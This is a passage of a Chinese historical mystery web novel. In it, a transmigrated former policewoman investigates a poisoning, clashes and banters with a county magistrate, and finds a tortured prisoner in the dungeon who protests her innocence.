如同一所囚笼,里面的人出不去,外面的人也进不来。
“百足之虫,死而不僵。”赵疏玉叹了口气,她转过身,继续蹲下身研究清洁光滑的地面。
按理来说,刘世尧是中毒暴毙,那么中毒的人怎么可能就这么悄无声息地死了?
他难道不会挣扎,吐血吗?
挣扎的痕迹或许可以整理收拾,但人的血液特殊性,很难清理。
再根据时间来看,袁群毅绝不可能早就埋伏在刘府外,算准了刘世尧的死亡,踩点去抓人。
这中间一定有个过程,而袁群毅要做的就是将一切都准备就绪,等着有人来报案,自己再去。
如此一来,他便有充分不在场证明,完全将自己与刘世尧暴毙一案撇清关系。
而他要做的就是找好替罪羊,保证自己的计划万无一失地进行。
所以,血液又是怎么被清理掉的呢?
寻常百姓,能养家糊口都算是勉强,更别提去买这些处理血迹的液体。
价格昂贵不说,这样做的成本太高,稍有不慎就会被抓个正着。
从人物上来看,这一定是有一定权力的人才能将现场处理得这么干净,又不怕被发现。
换言之——有恃无恐。
就算被发现了又怎么样?
又有谁敢多说半个字?
谁敢多嘴?
而在这地方上最有权力的人本该是李惟初,可在袁群毅来之后,李惟初一避再避,如今更是闭门不出,目的就是为了不与他起争锋。
若论过节,李惟初确实一直想找刘世尧的错处将他拌倒,在政多年,要杀早杀了,何必等到现在,又偏偏在袁巡抚来的时候杀刘世尧?
李惟初还没有蠢成这样,这也与他一直避其锋芒,减少冲突与把柄的想法相悖。
所以杀刘世尧的人就决不可能是李惟初。
那就只能是袁巡抚了。
可是……
袁群毅大张旗鼓地赶来,不就是为了保下刘世尧吗?
又为何改变心意杀了他?
又或者是上面的指示,要求他杀了刘世尧吗?
可是为什么,原因是是什么?动机是什么?
总不能是胡乱杀人,毫无逻辑吧?
既然不是胡乱杀人,那就一定有迹可循。
只要犯罪,就一定会留下痕迹。
想及此,赵疏玉又在屋中观察起来。
经过刚刚的事情,赵疏玉决定不再将重心放在地面上,而是抬起身,将目光放到桌子和书架上。
这一端详,赵疏玉便发现了端倪。
她走到红木桌案前,蹲下仔细摸了摸几下,她的眉头猝然间一拧,似乎是发现了什么。
为证实自己心中的这个猜测,她立马起身走到书架前,床前,和屏风前。
她看看摸摸,手指印不轻不重地留在这些家具上。
赵疏玉忽然嘴角一勾,笑道:“原来如此。”
白芷看见她一脸神秘严肃的模样,不禁也勾起了她的好奇心。
她凑到赵疏玉身边,问道:“大人可是发现了什么线索吗?”
赵疏玉不答,她垂下眸,将心绪与言语掩盖在睫翼之下。
她眨了眨眼,眼中又恢复成一片平静无波的池水。
反倒是将问题抛给她,“刘世尧最近有没有花大量银子,买什么东西了吗?”
白芷抬头想了想,印象中似乎并没有这件事情。
于是她摇摇头,回道:“这件事当是由负责采买的佳子姐姐安排,自然也只有她知道……不过,她自从刘少爷死后,也消失不见了。”
忽然,她打了个颤,“有人看见她跳湖自杀了,不知是真是假。”
“跳湖自杀?她好端端的,为什么要跳湖自杀?岂非太过蹊跷?”
白芷歪着头想了想,她的脸上忽然呈现一抹了然的色彩。
“或许……”
赵疏玉投来怀疑的目光,白芷忽然噤声。
到底要不要把这件事告诉她呢?
几番思索,她还是在心底摇了摇头。
还是别惹祸上身才好。
有些事,不说,就不会有事了。
婉华姐姐就是因为……
白芷深深吸了口气,她缓缓吐出,她笑道:“或许这些都是谣传呢?佳子姐姐逃出府,回家了也说不定。”
“回家?”赵疏玉眼中怀疑的色彩越来越浓烈,反观白芷眼神躲闪,根本不敢与她对视。
就差把心虚和说谎都写在脸上了。
赵疏玉心底默默叹了口气。
白芷对她心存戒备是应该的。
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谁能完全信任一个上一秒还在威胁着杀死自己的人呢?
只是,赵疏玉的心中觉得佳子的失踪,肯定与这些红木桌案有着必不可少的联系。
赵疏玉方才在摸的过程中,她发现这些家具都已经换过新的了。
除了一些难移动的东西。
比如,床,还有书架,诸如此类。
可是赵疏玉还是觉得有哪些地方不对劲。
脑中似乎在强烈地怀疑着什么,但她却始终抓不住这一屡白雾,任它飘散。
而白芷这时候也不再说话。
她低着头,心中似乎在思量着什么。
赵疏玉的目光投递到她的身上。
今天还不算一无所获。
下一刻,外面传来一阵阵响声。
似乎是有什么东西来了。
赵疏玉立马一手抓着白芷的后脖颈,一手在窗纸上戳了个小洞,观察起外面的声音。
黑压压的一片正缓缓往赵疏玉的这个方向走来。
像是梦游一样,他们低着头,踉踉跄跄地走来。
赵疏玉皱着眉望向他们,意识到那位‘殿下’,给她争取的时间已到了极限。
现在,她必须要走了!
她垂眸转念一想,立马敲定主意,揪着白芷的后脖颈飞一般跳上屋梁,随后消失在黑夜里。
赵疏玉在屋梁上跳上跳下,白芷则整个人都悬在空中没有支点,心中空荡不安,胃里翻江倒海。
她弱弱地开口,颤颤举起爪子,“大人……大人慢点……我要……呕!”
赵疏玉一顿,怔怔地看向白芷犹如银河一般一泻千里,抓住她后脖颈的手差点松开。
“你……”
赵疏玉无语凝噎。
“我慢点就是。”
她左右看了一圈,见四下无人,心中决定还是走陆路吧。
于是揪着白芷从空中一跃,而后稳稳当当落地。
“好点了没?”
赵疏玉问道。
白芷眼睛上翻,口吐白沫,弱弱开口,“可,可以……”
她的眼神逐渐聚焦,回过神来。
她眼一转就看见赵疏玉的脸竖在自己面前。
等等……
发生了什么?
她怎么就这么水灵灵地从刘府里出来了?
喜悦还未充斥内心,耳边猝然响起赵疏玉冰冷的声音。
“好一点了吗?”
白芷一动,发觉自己的衣领被她死死攥着,一点都没有松动的迹象。
她喉中一哽,心情十分沉重复杂。
既欣喜于自己终于活着逃出了刘府,又悲哀于自己又受制于人,无法真正获得自由。
她垂下眼睫,小声嗫嚅,“好多了。”
赵疏玉并没有多想,见她脸色不似方才那么差劲,于是她点点头,拉着白芷继续往前走去。
“那就走吧。”
50. 繁华似锦
赵疏玉却并没有将她直接带回县衙,而是将她带进殿下的府邸。
而令她感到意外的是,李惟初正好也在这里。
他正小酌一杯清香扑鼻的绿茶,坐在殿下的对面,二人不知在说些什么,李惟初紧紧抿着唇,不说话。
而坐在他对面的殿下,眸中满是迟疑怀疑之色,更多了一抹审视的意味。
朱红色的薄唇轻启,言辞之间犀利冰冷,不含一丝情感,“你可别忘了,你当初身陷囹囫,腹背受敌之时,是谁对你施予援手。”
“又是谁力保下你,才有了你今日江南县令的位置。”
“如今,也该是你报恩的时候了吧?嗯?”
李惟初的手紧紧捏着茶杯,手背上青筋浮现,唇齿之间紧紧抿着,仿佛极为纠结与痛苦。
而赵疏玉的到来正好打破了他们之间沉闷的氛围。
还是赵疏玉自个儿打破了僵局。
她将白芷揪到自己面前,看向‘殿下’,说道:“她似乎知道不少东西,只是……”
殿下的手轻轻一摆,白芷立刻便跪了下去,颤颤巍巍地低下头不敢言语一分。
赵疏玉紧拧着眉,正十分不解地琢磨白芷为什么跪下,这么害怕这位殿下的时候,李惟初也在此时开口。
“她是刘世尧身边的婢女吗?”
赵疏玉答道:“正是。”
李惟初点点头,道:“看得眼熟。赌坊中的女管事也是你吧?”
听着李惟初这样淡淡的语气一一问出她的底细,赵疏玉看向这位白芷的眼神愈发怀疑。
她竟然第一时间没有觉察出这个婢女的身份不简单,赵疏玉看向她的眸光不禁深了深。
没想到白芷被戳破了身份,她还是依旧不慌不忙,声音颤抖着道:“我,我什么都不知道,我真的什么都不知道啊!”
李惟初的嘴角微勾,露出一抹不算太大的笑意,牵扯着他的脸皮,笑意却始终不达眼底。
“是吗?”
他拨弄着手上的茶盏,“咯噔”一声,茶盏磕在桌子上发出清脆的一道声响,紧接着眸色中闪过一抹厉色,赵疏玉此时也正巧在看着他,将他眸中的情绪尽收眼底。
她只在李惟初那次杖杀县丞的眼中看到过与今日相似的色彩。
她往前侧了一步,挡住李惟初的视线,道:“不如好好审审她,免得遗漏了什么消息才是。”
李惟初抬起头深深与赵疏玉对视了一眼,而后垂下眸,眸光闪了闪,方想说什么,殿下却先一步开口。
“把她押入地牢。”
言简意赅的一个命令,赵疏玉与李惟初听罢皆不作声。
殿下看向赵疏玉,语气平缓地对她道:“三日之内,必须给我一个答复。再拖下去,就算是我,也护不了你们。”
她这话意有所指,虽是在和她说话,话里话外却在告诉另一个人。
你的时间不多了。
说罢,殿下悠然起身,大袖一挥,朱红色的裙摆在空中抖动着,神情严肃地离开了会客屋。
一室之内,余下赵疏玉与李惟初。
二人面面相觑,一时间,空气有些凝滞。
赵疏玉回想起方才殿下口中那些给予他施压的话,如今却不知该说什么话来活跃一下气氛。
没想到李惟初却主动打破了沉默,他轻咳一声,询问她道:“我们走吧?”
赵疏玉点头,轻嗯一声,“那就走吧。”
说实话,她今天继续留在这里也没有任何用处。
白芷接下来的审问自然不会由她来负责。
就像一个团队,总要分工明确。
她负责抓人,那李惟初就负责审问。
她也并不关心白芷的身份是赌坊管事还是刘世尧身边的一个小丫鬟,能跟在刘世尧身边存活这么长时间的,一定不是什么等闲之辈。
而她似乎认识婉华这个人,如果能从她的口中知道那么零星半点关于婉华的消息,那么她对二十七女案的推进作用也是极大的。
她现在还需要做的,就是找出真正的凶手,给周玥翻案。
一想到这里,她忽然就想到什么,甫一开口,没想到李惟初也恰于此时开口。
“周……”
“你……”
赵疏玉不经意地抬头,与李惟初深沉的目光撞了个满怀,一阵微风拂过,吹起李惟初鬓角的碎发,他的眼神却在黯淡的月光下显得格外疲惫,好似在他的心底,隐忍着一份不与人说的痛苦。
李惟初不喜欢被人用探究的眼神盯着自己看,于是他撇过眼,装作什么也不知道的样子,问她道:“你想说什么?”
“还是你先说吧。”
赵疏玉沉默了一下,回道。
二人的气氛中莫名十分尴尬。
李惟初轻轻摇头,他道:“你想问我关于周玥的事情是吗?”
赵疏玉嗯了一声,她的心中十分害怕袁群毅为了坐实周玥杀人的证据,而让她畏罪自裁,死无对证!
李惟初却是淡淡一笑,伸手轻轻在她额上的伤口上轻抚一下,半是嗔怪半是正经地道:“净顾着旁人,也不多关心关心你自己。”
说罢他摇了摇头,也指了指自己,“还有我。我也受伤了。”
赵疏玉一愣,她有些不理解李惟初这话是什么意思。
于是她带着三分不解问道:“可是你我受伤都有郎中随时可供医治,唯有周玥,牢中潮湿肮脏,不利于养病伤。袁群毅也是不肯留余地,刑刑下死手,周德定是知道袁群毅地手段,这才关心则乱,被袁群毅拿住了把柄。”
李惟初轻轻叹了口气,他不禁拧了下眉,看向赵疏玉的目光中多了一丝无奈。
“你上辈子是懒死的吗?”
赵疏玉一顿。
“什么?”
她竟没想到有生之年还能听到李惟初对他说调侃的话?
不过顷刻间他的神色又恢复往常。
沉闷,疏离,与人隔之千里。
“县衙还轮不到他作主。袁群毅不过是只纸老虎,当不得大事。”
提到袁群毅,他的眼神中露出一抹不屑的神情,似乎从来就没有把他放在眼里,更别提当作对手。
“可就是这么一只纸老虎,你应对起来也是力不从心呢。”
赵疏玉缓缓答道,唇角浅浅勾
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勒出一抹很淡的弧度,不易察觉。
李惟初暗暗咬牙,若非他不如昔日风光,袁群毅岂敢在他面前虚张声势!
他的眸光不禁深了深,似乎想到什么,眼神看向前方,心绪却不知回到曾几何时。
“袁群毅,家落京城,那时候他在京城可是出了名的纨绔子弟……”他一顿,眼眸也往下垂了垂,似怅然又似无奈地道,“他最看不上的,就是像我这样家境贫寒,只能靠苦读科考做官入仕的人。”
“那时候我与长清,鹤安,还有琏君是同一批进京赶考的举人,可惜……”李惟初的眼神又黯淡几分,心底又将秘密盖上一层纱绸。
他的脸上十分沉重,似是极不愿意去想曾经的事。
“长清是刑部侍郎的侄子,一入京便被人好生安顿下来,而我们三个就只能暂在驿站里呆着。”
“那时候,我第一次看见京城的繁华,当真光彩耀目,令人目不转睛,想将这一切美景都牢牢握在手中,尽情把玩。”说到此处时,李惟初的目光中不多掩藏的是对京城繁华的向往。
这种感觉,就像是从小在大山中长大的孩子,靠着自己一步步爬过崎岖的山,渡过深浅不一的急湍,翻山越岭,跋山涉水。有朝一日终于走出大山,亲眼瞧见外头华丽的明塔,矗立在河面之上牢固的拱桥。
急湍变成浩瀚无际的大海,他可以在邮轮上尽情游玩。
高山变成冲破云端的高楼,他可以乘坐电梯,不再爬破手指与脚趾。
看到了一个焕然一新的世界。
赵疏玉抬头看向他,可惊奇的是,李惟初眼中对京城的艳羡之色顷刻间烟消云散,眼中雾上一层浓浓的厌倦与疲累。
“可京城并非我眼中那般繁华似锦……在灯火辉煌之下,埋葬着的是森森白骨。”
“那是一个吃人不吐骨头的地方。”
李惟初最终下了一个结论。
赵疏玉垂目,她从未去过京城,就像她原本的人生一样一直都在流浪。
她拼了命的想去往更大的城市。
可有些时候,有些事情不是自己想,就一定能够做到。
往往,她被许多东西束缚着。
就如她所说的一样。
她没有什么梦想,后来是因为阿余她才去做了警察。
后来做惯了警察,自己便将维护“正义”一词作为自己活下去的精神动力与希望。
毕竟她的人生枯燥乏味,她又是那么冷淡寡情,没人愿意去追求这么一个呆子,不过,她是一个非常值得被别人信任的伙伴。
所以在她短短的27年的时光里,她对爱情毫无渴望,甚至她的心中根本早就忘却了“爱”这个字。
究竟是什么。
突如其来的关心会使她束手无策。
同样,她也不会关心旁人。
任何过于越界的亲密关系都会使她慌乱无措,所以她选择一概屏蔽。
这也是她为什么不愿意去回复李惟初的关心,和说出一些关心他的话。
她觉得,他们之间的关系还没到这一程度,他们也许,只是一种战略合作伙伴的状态,各自为战,却不约而同。
51. 繁琐的程序
“京城很好看吗?我从未去过。”赵疏玉脑海中闪过与此处不一样的场景,她猛然从过去的回忆中回过神来,再睁开眼,场景风云突变,眼前的李惟初忽然止步停了下来。
赵疏玉险些没站稳,一个急刹差点与李惟初撞个满怀。
李惟初要比赵疏玉略高半个头,与之相对时,她的额头总是到他的下唇那里。
彼此之间的距离极近,好似能够听到对方的呼吸声。
他的呼吸平稳而有力,温热的呼吸浅浅地铺撒在赵疏玉的面上,一阵凉风吹过,下一瞬又被更有力而温热的呼吸代替,赵疏玉先是一顿。
她已经很久很久,没有跟任何人保持过这么近的距离了。
唯一的一个人,是阿余。
她想起脏兮兮的阿余,手中捧着红色的方便袋,袋中是各种颜色的钱币,唯独没有一张整的一百,欢欣鼓舞地冲进自己怀里,铺个满怀。
可红袋子里的纸币拼拼凑凑加起来却有两千五百八十八块六毛五分。
“姐姐,这些钱,够你上学吗?”
傻瓜,学费哪有这么便宜。
赵疏玉笑着摸了摸阿余的头,从他的手中接过红袋子,将这些钱深深地埋藏进一个红盒子中。
阿余,你的这些钱,却不知够你打几次针啊。
“在想什么?”
李惟初的忽然出声打断了赵疏玉的回忆,他的目光揉碎了月光的冰冷,柔和地看向赵疏玉。
而赵疏玉却是毫不犹疑地往后退了一步,保证人与人之间的安全距离,后冷声对他道:“李县令,我们只是合作关系而已,你不必过问我是否安好。”
这句话便是连一开头对她关怀的话一并答去了,毫不留情面。
李惟初则是无所谓地耸了耸肩,眸光透过她的脸,直视前方。
“我可向来没有多管闲事的爱好。只因你是我的人,和维寻如影他们并无差别罢了,主子对下属照例关照而已,赵姑娘多虑了。”
赵疏玉遥想到前些日子自己的腿被袁群毅弄伤,他特地关照人来为自己悉心照顾的事,心中没由来地冒出些亏欠与不安的心绪来。
于是她立马回道:“你放心,刘世尧的死我已经确定与袁群毅有关,我定找出实质性证据将他钉死,何况就是因为他恶意惩戒才致使我的膝盖损伤,于情于理我都不会轻易放过他。”
“我不是说这个。”李惟初略有些无奈,她的脑子里整天怎么除了公事还是公事啊。
见李惟初并不是为了激励自己更专注地投入到工作中,她实在是想不出第二点他对自己说这句话地动机了。
“那是什么?”赵疏玉抬起水雾雾的目光不解地抬头看他。
李惟初愣了一瞬。
他一时也有些语塞。
喉结滚了滚,略有些笨拙且尴尬地道:“没什么。”
赵疏玉见也问不出什么东西来,鬼知道他心里一天到晚在想什么。
又在此处挡道,实在可恶。
于是她询问道:“李县令还有什么事吗?夜深露重,早秋不日而来,如此耽搁下去,我还有公事未办。”
这便是告诉他,他挡在路中间,走也不是,不走也不是。
夜深又凉,县衙又有袁群毅的耳目,想要进牢狱去问周玥当晚发生的事情本就难办,再一拖延,更别办了!
李惟初也不知有没有听出赵疏玉的弦外之音,不过好在他倒是让路了。
赵疏玉也不遑多让,直直便走了。
李惟初则加紧脚步跟在她后面,可赵疏玉的脚步越走越快,他隐隐有些跟不上。
怎么?生气了?
为啥?
在心中抛出三连问后,他还是不知道自己做什么了。
他紧绷着脸,又拦下赵疏玉,脸拉得很长,眼神间还充斥着不悦的色彩。
“走这么快干什么?”
“不想和你一起走。”
“为什么?”
“你走得好慢。”
赵疏玉终于停下脚步了。
她回头望他,同时也看向他拽住自己胳膊的手。
“放手。”
李惟初随即便松手。
他的眸色中隐隐透露出一种莫名委屈的色彩,又十分轻巧,不易惹人察觉。
可倒是有意让赵疏玉察觉似的,他还刻意拉长尾音,问道:“你走那么快,我怎么跟你走?”
她一顿。
今夜的李惟初受什么刺激了?
什么鬼?
他往日的高贵矜持都抛到哪儿去了??
赵疏玉心中也是一连串像炮弹似的疑问砸在心间,砸出不小的水花与涟漪。
“你到底想要什么?”赵疏玉隐下怒气,紧握着拳头看向他。
“我帮你打完袁群毅这个蛀虫,我与你就此便没有任何关系了。”赵疏玉认真地看向他,一副公事公办的严肃,“所以,我们之间,保持一个良好的同事氛围就可以了,好吗?”
“同事氛围?那是何物?”李惟初不解地询问。
赵疏玉摇摇头,“自不是什么重要的关系。”
李惟初忽然将脑袋垂下,问了她一个很莫名也很古怪的问题。
“你很讨厌我吗?”
赵疏玉却没有回答,而是反问他道:“你怎么会有这种想法?”
李惟初收敛眼眸,不着痕迹地叹了口气,赵疏玉也并没有看他,徐徐凉风而来,她竟觉得有些寒冷。
望着离他们不远的县衙,那棵槐树高大巍峨,枝繁叶茂,吹起一阵沙沙声。
李惟初平素里一定是极为爱护它,所以这才让树的长得如此耀眼高大。
想必,也是极为喜爱这爱树之人。
赵疏玉敛下心中忽然涌起的这一点可笑的情感,不着痕迹地收回眸光,依旧那副平静如一潭死水的眸子看向李惟初。
仿佛刚才的疑问锥心刺骨,仿佛是这世间最利害的刀具一般。
李惟初也不知今日是怎么这么多话。
说多错多,干脆也不说了。
他随着赵疏玉的目光一齐朝那棵长得十分健硕的槐树上望去,见她目不转睛地盯着,以为是赵疏玉也十分喜欢这棵槐树。
嘴角浅勾出一丝弧度,不知是看见这颗槐树想到何人,他的防备略有些减轻,似乎这槐树的背后装载着的是他无上的柔软。
连带着目光也柔软了好几分,“你也很
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喜欢这棵槐树吗?”
“门前栽槐,霉运来来。我才不喜欢。”说罢,赵疏玉的目光收了回来,继续快步朝前走去。
李惟初这番话本是想缓和一下二人之间略略有些尴尬的氛围,可怎么没想到,这气氛反而更加凝重了呢?
自己难不成说错什么了吗?
“你不是从来不信这些怪力乱神,鬼神之说的吗?今日怎倒觉得槐树给人带来了霉运?”
赵疏玉也不明白,不过短短几日没见李惟初的面,他怎么忽然变得跟个啰嗦老太婆一样,一直在她耳边嗡嗡吵个不停。
他倒是垂衣拱手美美隐身,她呢?腿断了还得被揪起来查案子,到底谁是县令啊?
再者,不知他葫芦里卖的什么药,二十七女的典妻书不知被他藏在何处,连停尸间的尸体也在一夜之后全部消失,一切关于任何能够探查出痕迹的东西,他统统都毁掉。
赵疏玉站在他的角度不能理解他的所作所为,站在自己的角度,那更是不能理解。
若是怕受制于人,那也没必要这般害怕二十七女自缢案有端倪一事被袁群毅知晓吧?
袁群毅的手上究竟握着李惟初什么把柄?
赵疏玉的心中不禁更加好奇这位李县令的来历。
风光无限的状元郎,却在一夕之间锒铛入狱,天壤地别。
又是怎么九死一生从狱中放出,又成了江南县令?
这中间又有什么故事?
这其中的故事会不会就与李惟初一直苦苦坚守着二十七女案不让她探查有关呢?
就算如此!
李惟初也不能这么不管事吧?
一个又一个的疑问形成疑团,牢牢刻印在赵疏玉的心里,而她对这位李县令的背后之事越来越感兴趣。
但这并不妨碍她为这几天的事忙得焦头烂额而恼火。
她有时候真想把锅一甩,很愤怒地告诉李惟初,“这县令究竟是你做还是我做?你这个名存实亡的县令究竟能不能管管事?”
赵疏玉在曾做警察时,虽是二十四小时待工,风险大但好歹人年薪高,干的也多是伸张正义的事。
而她才穿过来没多久,先是以‘故意杀人罪’给压入县衙,之后又发生了这么多腥风血雨。
一桩接一桩,这就算是包青天在世也忙不过来啊。
事实上,赵疏玉也确实这么做了。
她一转头,正好对上李惟初一脸探究的眸。
李惟初好似也在暗暗观察她的小脑袋瓜里究竟在想着什么。
没想到劈头盖脸就是一顿训。
“你任职几年了?”
李惟初歪头想了想,回道:“不满三年。”
“那遇到像袁群毅这样打着朝廷天子的名义来地方横行霸道,肆意杀人的,这种事情该怎么处理?”
李惟初自是十分熟悉大吴各种条款律令。
“按大吴律法,应当如实禀报其在地方上的一切罪责,条条取证完毕后交由州牧核对审查,如无误,再由州牧交由天使,由天使上达天听,由天子定夺惩处。”
赵疏玉听着这繁琐的程序,挺到最后十分不理解地问李惟初道:“真的有必要这么麻烦吗?”
52. 案件推进
“这本就是律法,有什么繁琐的?”李惟初读了二十几年的圣贤书,自是将书中条条款款铭刻在心,饶是更繁琐的律法他还未说出来。
“若嫌律法枯燥繁琐,那又如何筛选天下才子为陛下效力?”
闻言,赵疏玉却是沉默了。
她并不认同,但一时间也无计可施。
时代不同,认知自然也不同,她现代的认知放在礼法森严的古代,那也是完全行不通的。
故而,她只好叹口气道:“好吧。”
“那想除去袁群毅,是不是还要过州牧这关?”
李惟初不语。
赵疏玉看向他微显凛冽的侧颜,眸光中充斥着浓浓的厌倦与烦躁。
“是。”
良久,他才回应了一句。
而李惟初与州牧向来不和。
再说,袁群毅敢在江南一县兴风作浪而不收敛,焉知没有州牧在身后作擎天护着。
思索间,赵疏玉很容易地相通这此中的关节。
她忽然问了一句,“如果一州的州牧出了事,在空职的这期间可以由旁州州牧代管吗?”
听着赵疏玉说的话,李惟初的心中一怔,转而用一种极为震惊的目光看向她。
似乎在斟酌她的话,又震叹于她的野心。
“你想做什么?”
“你之前不是说想把我送到裴长清所管辖的蓟州吗?若是两州之间横跨几千里,你如何能保证我路途中的安全?所以我猜测江南一县与蓟州纵然不相接壤,也定临近。”
李惟初心中一动,“的确如此。江南隶属豫州管辖,而豫州与蓟州相邻,江南的东侧有一条长河,长河的对面便是蓟州界。”
“因工程浩大,劳民伤财,故而并未在蓟州与江南建立拱桥。”
赵疏玉点点头,她的眸光一沉,心中主意落定,“既然不能自上而下,那就只能自下而上了。”
李惟初却是没听懂她这句话,但隐隐约约也能感受到什么出来。
“你想革了豫州州牧?”
“没用的人自是不必留着祸害百姓。”
李惟初掩下眸子,眸光微动,闪烁了几下。
殿下说得不错。
这世间没有牵挂留恋的人,是最有可能放手一搏的。
因为什么都没有,所以她才能这般毫无顾忌。
赵疏玉的确比自己更加适合……
“怎么?不高兴?”赵疏玉正想着如何铲除豫州州牧的计划,余光正好瞥到一脸丧气的李惟初,不禁出声问道。
李惟初一愣,神色有些复杂地看着赵疏玉。
“不是你说,帮我处理完周玥的事情,你我一别两宽?”
“我也说了,我当问心无愧。”
李惟初猝然停下脚步,怔愣地看向她眸子中的坚定与平静,仿佛这句话已经成为了她的信念一般,她并没有什么波动。
可李惟初却是心中大动。
他不禁拧了一下眉头,眼光落定,可思绪却飘向极远,远到他自己都快忘记了。
远到,他都不再敢提及这四个字。
问心无愧。
从前他是问心无愧。
君子坦荡荡。
可现在。
他每说一次问心无愧时声音都会不自觉地颤抖。
他问心有愧。
所以在赵疏玉用这么笃定和坚毅的眼神看着他时,不知怎么的,他竟觉得这视线太过灼热,烫得他视线无处安放,不知所措。
一时间,他不知道该怎么去面对。
所以他选择了回避。
他佯装没有听见赵疏玉说的话,自顾自地往前走去。
他的脚步越走越快,越走越快,好似陷入了某种不可自拔的回忆之中。
“啪”的一声,赵疏玉皱着眉头问他道:“在想什么呢?我方才和你说的话你都听见了吗?”
李惟初又换上一副高高在上,不可睥睨的模样去看她。
冷冰冰的眼神中没有丝毫情感。
“好了。你该做你的任务去了。”
李惟初停在一扇小门前,他打开门,里头郝然映照出她最熟悉的场景。
地牢。
赵疏玉没想到在县衙外头还有一个可以通往地牢的密室。
她回头十分复杂地瞥了李惟初一眼之后,转身进去了。
而李惟初则盯着她的背影,缓缓将门关上。
下一瞬,维寻便出现在李惟初身边。
他单膝下跪,朝李惟初行了个礼,“地牢里已经全安排好了。”
“袁群毅醒来可会察觉异样吗?”
维寻摇头,“袁巡抚对待下人一向刻薄,如今发生这档子事,他们自然是能隐瞒就隐瞒下来。”
李惟初俯视地面上的小门,眼神中却多了一丝异样的情感。
他似是想到什么,忽然开口询问身边的维寻,“施奇他们……”
自李惟初赴任江南的这三年间,维寻从来没有开口提过他们的名字。
李惟初不想回忆起从前那段烂泥似的日子,维寻也不愿意主动提起。
可是有些事虽然过去了,可烙印还仍深深存在。
午夜梦回时,常常惊夜难安。
“属下按照主上的吩咐,每年都会去青呈山祭奠……”
李惟初闭眼,一抹无法言明的痛心被他深深吞咽下,回忆如潮水,不停息地朝他的脑海奔涌而来。
赵疏玉的出现,似乎打破了他本寂静黯淡的人生。
她的勇敢与无畏,成为李惟初再不敢触碰的红线。
再睁开眼时,李惟初的面庞上已经再没有旁的情绪了。
让他舍弃掉她吗?
一定要舍弃掉‘她’吗?
再想想……
或许还有办法……
赵疏玉蹑手蹑脚地走在阴暗潮湿的地牢中,就是为了避免自己暴露。
可是越往里走,就越发现好像根本就没有这个必要。
守卫就像今夜的刘宅一样,唯一不同的是,这些守卫都直挺挺地躺在地上,横七竖八,像是睡着了。
赵疏玉再次巡视了一番环境,确认真的安全后,她才放下戒心。
袁群毅的手太长,伸进江南还不够,还想将整个县衙都沦为他的地盘。
赵疏玉叹了口气,她实在是不知道李惟初按兵不动是为什么。
不过她如今来此地,就是为了确认一件事情。
她挨个狱门都看了一眼,终于在最里面的一间找到了浑身是血的周玥。
周玥奄奄一息地趴在地上,残存而吃力地呼吸着,地上的老鼠眼中冒着绿油油的光,野心勃勃地盯着周玥看,仿佛她下一秒只要一断气,自己就冲上前咬断她的筋骨。
赵疏玉在看见这幅场景时,眼神不可讶异地看着周遭乱蓬蓬的环境,她心疼地蹲下身抱起周玥,将她满是血污的身子翻了个身,眼神中情不自禁地流露出气愤与恼火。
这群人,他们怎么敢!!怎么敢!!!!
“周玥,你,你能不能听见我说话?”
几日不见,没想到从前笑容满面的周玥,如今已是奄奄一息。
在听到赵疏玉的声音时,周玥的身体明显地动了一下。
而后浅薄的呼吸开始逐渐加重。
似乎是有些激动。
“赵,赵姑娘……”
她有气无力地抬起一只手。
赵疏玉紧紧握住她血肉翻飞的手指,一滴泪脆生生地滴落在周玥的血肉上。
“他们对你严刑逼供,就是为了让你认罪对不对?”
周玥十分难受,喉管咕噜咕噜的也不知道在说什么,像有火折子烧着自己喉管一般。
“赵姑娘……我,没做……没做……!”周玥越说到后面,眼神中犀利的神色便越重。
几乎就差将冤屈这两个字写在脑门上了!
“他们不信……不信我……”周玥艰难地说道,“硬要我认罪……我没错,我没错!”
赵疏玉点头,她不断安抚着周玥,示意让她的情绪不要太激动,她道:“我知道,我明白……你没错,我相信你,你再给我一些时间,再给我一点时间,我快了,快要找到袁群毅害死刘世尧的证据了!”
看着周玥满身血污,进气多,呼气少,胸脯上下不断剧烈震动的样子,她的心中陡然升起一抹慌张。
她抱着周玥,有些急忙道:“我怎么救你出去,我到底该怎么救你出去啊!我救不了你,我想不到办法了,我想不到了……我到底要怎么做,我要怎么办啊!!……”
周玥用尽全身的力气,凑到她耳边,一字一字地说道:“刘世尧……不举……”
赵疏玉在听到这个
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消息后整个震惊住了,而后又听周玥继续道来。
“那汤……实际是为了给他……壮阳,而每次给他端这碗汤的女子,就是……他今夜……宠幸……的对象。”
“……我没有……下毒……我把他打飞……到床上……不知怎么……过不久他就开始吐血……吐了好多血……”
“我就这么……眼睁睁地看着他……歪歪扭扭地走到书架前……手刚悬在空中一半……就倒下了……他死了。”
周玥有气无力地说道。
“后来,袁群毅就来了……我也不知道是谁……报的官,来得好快……我还没反应……就被他们……严刑……逼供。”
赵疏玉糅合着周玥带给她的信息,脑中忽然多了一个想法。
只是她如今……
还必须再去一趟刘府!
看着眼前的周玥无力地眯着眼睛,头耷拉在赵疏玉的手臂上,一副岌岌可危的模样。
赵疏玉多想不顾一切地将她带离大牢。
可是不行。
囚犯被劫,定会打草惊蛇,说不准她之前做的一切就都白费了。
如果这样的话,非但不能救周玥,反倒会将自己和李惟初都给搭上。
她袖口中翻出一粒小药丸,还是之前李惟初给她的,她多拿了几粒。
喂她吃下去之后,赵疏玉又注意到她的血渍连着衣裳,撕扯着皮肉,疼痛无比,可是赵疏玉也不敢给她包扎伤口,更别提有一件整洁的衣服。
周玥似乎是疼得昏过去了,她的呼吸声渐渐小了下去,变得更加平稳均匀,而赵疏玉的内心却久久无法平静。
袁群毅和刘世尧,狼狈为奸,都是举世无双的变态。
竟活活将周玥磋磨成如今这番模样!
他们究竟还有没有一点人性!
她将周玥抱上床,可这床阴湿无比,倒不如地面干燥,可地面上又有蚊虫鼠蚁,也不好对付。
左右思量之下,还是将她给安顿在床上。
赵疏玉低头看了一眼两袖和身上的血,触目惊心。
她略有些失魂落魄地走出来。
碰巧,李惟初也并未离开,一直站在原地等待着她的出现。
直到他看见赵疏玉的衣裳上全部沾染了血迹,他这才明白赵疏玉为什么会这么失魂落魄。
可在他刚想出声宽慰的时候,赵疏玉却愤怒地一把抓住他的衣领,狠狠一拽,红着眼,怒气冲冲地质问他道:“为什么,为什么不找人给她医治!”
她双手上的血迹还未干,李惟初绛紫色的衣领口颜色更深。
李惟初却很平静地搭上赵疏玉的双手,温热的气息一点点散开赵疏玉心中的寒意,可她的眼尾仍旧泛红。
她无法看到一个活生生的人,被折磨成人不人鬼不鬼的样子。
更何况,她还是女子啊!
为什么,为什么要这样这么折磨一个女孩子啊!!
